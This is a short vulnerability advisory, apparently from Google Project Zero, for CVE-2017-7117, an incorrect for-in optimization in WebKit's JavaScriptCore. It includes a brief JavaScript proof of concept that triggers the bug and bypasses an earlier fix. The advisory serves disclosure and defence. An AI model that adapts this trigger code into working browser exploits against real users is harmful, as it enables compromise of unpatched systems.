WebKit JSC Incorrect Optimization

2017.10.04
Credit: lokihardt
Risk: Low
Local: No
Remote: Yes
CWE: N/A

WebKit: JSC: Incorrect for-in optimization #2 CVE-2017-7117 The following PoC bypasses the fix for the https://bugs.chromium.org/p/project-zero/issues/detail?id=1263 WebKit: JSC: Incorrect optimization in BytecodeGenerator::emitGetByVal PoC: function f() { let o = {}; for (let i in {xx: 0}) { for (i of [0]) { } print(o[i]); } } f(); This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt

References:

https://bugs.chromium.org/p/project-zero/issues/detail?id=1263


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